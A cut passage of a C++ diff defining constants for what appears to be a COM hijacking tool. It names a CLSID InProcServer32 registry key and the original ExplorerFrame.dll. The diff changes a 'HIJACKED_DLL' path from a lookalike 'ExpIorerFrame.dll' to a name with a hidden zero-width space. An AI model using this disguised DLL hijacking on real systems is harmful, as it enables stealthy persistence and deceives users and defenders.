L"CLSID\\{ab0b37ec-56f6-4a0e-a8fd-7a8bf7c2da96}\\InProcServer32"; static constexpr const wchar_t* HIJACKED_DLL = - L"%SystemRoot%\\system32\\ExpIorerFrame.dll"; + L"%SystemRoot%\\system32\\ExplorerFrame\u200B.dll"; static constexpr const wchar_t* ORIGINAL_DLL = L"%SystemRoot%\\system32\\ExplorerFrame.dll";